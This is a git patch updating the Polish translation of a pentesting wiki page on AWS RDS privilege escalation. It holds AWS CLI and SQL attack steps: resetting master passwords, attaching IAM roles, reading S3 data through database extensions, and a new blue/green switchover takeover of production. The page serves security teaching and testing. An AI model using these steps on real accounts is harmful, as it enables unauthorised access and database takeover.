From a569bea44095479442cbe6d66e42d66440d0e11c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:29:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 100 +++++++++++------- 1 file changed, 60 insertions(+), 40 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 16400d80b..913644583 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -4,7 +4,7 @@ ## RDS - Relational Database Service -Aby uzyskać więcej informacji o RDS sprawdź: +Aby uzyskać więcej informacji o RDS, sprawdź: {{#ref}} ../../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji o RDS sprawdź: ### `rds:ModifyDBInstance` -Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika master**, oraz login wewnątrz bazy danych: +Dzięki temu uprawnieniu atakujący może **zmodyfikować hasło użytkownika głównego**, oraz login w bazie danych: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,30 +27,30 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Będziesz musiał mieć możliwość **połączenia się z bazą danych** (zazwyczaj są one dostępne tylko z sieci wewnętrznych). -> -> **Potential Impact:** Odszukanie wrażliwych informacji w bazach danych. -> -> ### rds-db:connect -> -> Zgodnie z {**docs**}(https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) użytkownik z tym uprawnieniem może połączyć się z instancją DB. -> -> ### Abuse RDS Role IAM permissions -> -> #### Postgresql (Aurora) -> -> > [!TIP] -> > Jeśli uruchamiając **`SELECT datname FROM pg_database;`** znajdziesz bazę danych o nazwie **`rdsadmin`**, wiesz, że jesteś wewnątrz **AWS postgresql database**. -> -> Najpierw możesz sprawdzić, czy ta baza danych była używana do dostępu do innych usług AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia: +> Będziesz musiał mieć możliwość **połączenia się z bazą danych** (zwykle są dostępne tylko z sieci wewnętrznych). + +**Potential Impact:** Odszukanie wrażliwych informacji wewnątrz baz danych. + +### rds-db:connect + +According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. + +### Nadużycie uprawnień roli RDS IAM + +#### Postgresql (Aurora) + +> [!TIP] +> Jeśli uruchamiając **`SELECT datname FROM pg_database;`** znajdziesz bazę danych o nazwie **`rdsadmin`**, wiesz, że jesteś w **AWS postgresql database**. + +Najpierw możesz sprawdzić, czy ta baza danych była używana do dostępu do innych usług AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia: ```sql SELECT * FROM pg_extension; ``` -Jeśli znajdziesz coś takiego jak **`aws_s3`** możesz założyć, że ta baza danych ma **jakiegoś rodzaju dostęp do S3** (są też inne rozszerzenia, takie jak **`aws_ml`** i **`aws_lambda`**). +Jeśli znajdziesz coś takiego jak **`aws_s3`** możesz założyć, że ta baza danych ma **jakiś rodzaj dostępu do S3** (są też inne rozszerzenia, takie jak **`aws_ml`** i **`aws_lambda`**). -Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`** możesz tam zobaczyć, czy **klaster ma przypisaną jakąkolwiek IAM Role** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych została **przygotowana do dostępu do innych usług AWS**. Na podstawie **nazwy roli** (albo jeśli uda ci się uzyskać **uprawnienia** tej roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych. +Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`** możesz tam zobaczyć, czy **klaster ma przypisaną jakąkolwiek IAM Role** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do dostępu do innych usług AWS**. Na podstawie **nazwy roli** (albo jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych. -Teraz, aby **odczytać plik wewnątrz bucket** musisz znać pełną ścieżkę. Możesz go odczytać za pomocą: +Teraz, aby **odczytać plik wewnątrz bucketu** musisz znać pełną ścieżkę. Możesz go odczytać za pomocą: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Gdybyś miał(a) **raw AWS credentials**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą: +Gdybyś miał **raw AWS credentials** mógłbyś też użyć ich do dostępu do danych S3 za pomocą: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **nie musi zmieniać żadnej zmiennej grupy parametrów**, aby mieć dostęp do S3. +> Postgresql **nie musi zmieniać żadnej zmiennej grupy parametrów** aby móc uzyskać dostęp do S3. #### Mysql (Aurora) > [!TIP] -> W środku mysql, jeśli wykonasz zapytanie **`SELECT User, Host FROM mysql.user;`** i istnieje użytkownik o nazwie **`rdsadmin`**, możesz założyć, że znajdujesz się wewnątrz **AWS RDS mysql db**. +> W instancji mysql, jeśli uruchomisz zapytanie **`SELECT User, Host FROM mysql.user;`** i jest użytkownik o nazwie **`rdsadmin`**, możesz założyć, że jesteś wewnątrz **AWS RDS mysql db**. -W środku mysql uruchom **`show variables;`** i jeśli zmienne takie jak **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych S3. +W instancji mysql uruchom **`show variables;`** i jeśli zmienne takie jak **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych S3. -Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`** możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS). +Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąś **powiązaną rolę**, co zwykle oznacza dostęp do usług AWS). -Teraz, aby **odczytać plik wewnątrz bucketu** musisz znać pełną ścieżkę. Możesz go odczytać za pomocą: +Teraz, aby **przeczytać plik w bucketcie** musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -Atakujący posiadający uprawnienia `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu **uzyskać dostęp do wrażliwych danych** lub modyfikować dane znajdujące się w instancji. +Atakujący posiadający uprawnienia `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. To może pozwolić atakującemu na **uzyskanie dostępu do danych wrażliwych** lub modyfikację danych wewnątrz instancji. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.\ -Zwróć uwagę, że niektóre DB wymagają dodatkowej konfiguracji, np. Mysql, który wymaga podania role ARN również w parameter groups. +**Potencjalny wpływ**: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS.\ +Należy pamiętać, że niektóre DBs wymagają dodatkowej konfiguracji, na przykład MySQL, który wymaga także określenia ARN roli w grupach parametrów. ### `rds:CreateDBInstance` -Mając tylko to uprawnienie, atakujący mógłby utworzyć **nową instancję wewnątrz istniejącego klastra**, który ma przypisaną **IAM role**. Nie będzie mógł zmienić hasła głównego użytkownika, ale może być w stanie udostępnić nową instancję bazy danych w internecie: +Posiadając tylko to uprawnienie, atakujący może utworzyć **nową instancję w istniejącym klastrze**, który już istnieje i ma przypisaną **rolę IAM**. Nie będzie w stanie zmienić hasła głównego użytkownika, ale może być w stanie udostępnić nową instancję bazy danych w internecie: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Przetestować -Atakujący posiadający uprawnienia `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Następnie atakujący może potencjalnie **uzyskać dostęp do wrażliwych danych** lub modyfikować dane wewnątrz tej instancji. +Atakujący posiadający uprawnienia `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z dołączoną określoną rolą**. Następnie atakujący może potencjalnie **uzyskać dostęp do wrażliwych danych** lub modyfikować dane w obrębie instancji. > [!WARNING] -> Niektóre wymagania dotyczące roli/instance-profile do przypisania (z [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - Profil musi istnieć w Twoim koncie. -> - Profil musi posiadać rolę IAM, którą Amazon EC2 może przyjąć. -> - Nazwa instance profile i powiązana nazwa roli IAM muszą zaczynać się od prefiksu `AWSRDSCustom` . +> - The profile must exist in your account. +> - The profile must have an IAM role that Amazon EC2 has permissions to assume. +> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. +**Potencjalny wpływ**: Dostęp do danych wrażliwych lub nieautoryzowane modyfikacje danych w instancji RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Atakujący posiadający uprawnienia `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. To może pozwolić atakującemu **uzyskać dostęp do wrażliwych danych** lub modyfikować dane w obrębie instancji. +Atakujący posiadający uprawnienia `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do danych wrażliwych** lub modyfikację danych w tej instancji. > [!WARNING] -> Instancja DB musi być poza klastrem, aby to zadziałało +> Instancja DB musi znajdować się poza klastrem, aby to zadziałało ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. +**Potential Impact**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. + +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +Atakujący posiadający te uprawnienia może sklonować bazę danych produkcyjną (Blue), przypisać klonowi rolę IAM o wysokich uprawnieniach (Green), a następnie użyć switchover, aby zastąpić środowisko produkcyjne. Pozwala to napastnikowi podnieść uprawnienia bazy danych i uzyskać nieautoryzowany dostęp do innych zasobów AWS. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Potencjalny wpływ**: Pełne przejęcie produkcyjnego środowiska bazy danych. Po przełączeniu baza działa z podwyższonymi uprawnieniami, co umożliwia nieautoryzowany dostęp do innych usług AWS (np. S3, Lambda, Secrets Manager) z poziomu bazy danych. {{#include ../../../../banners/hacktricks-training.md}}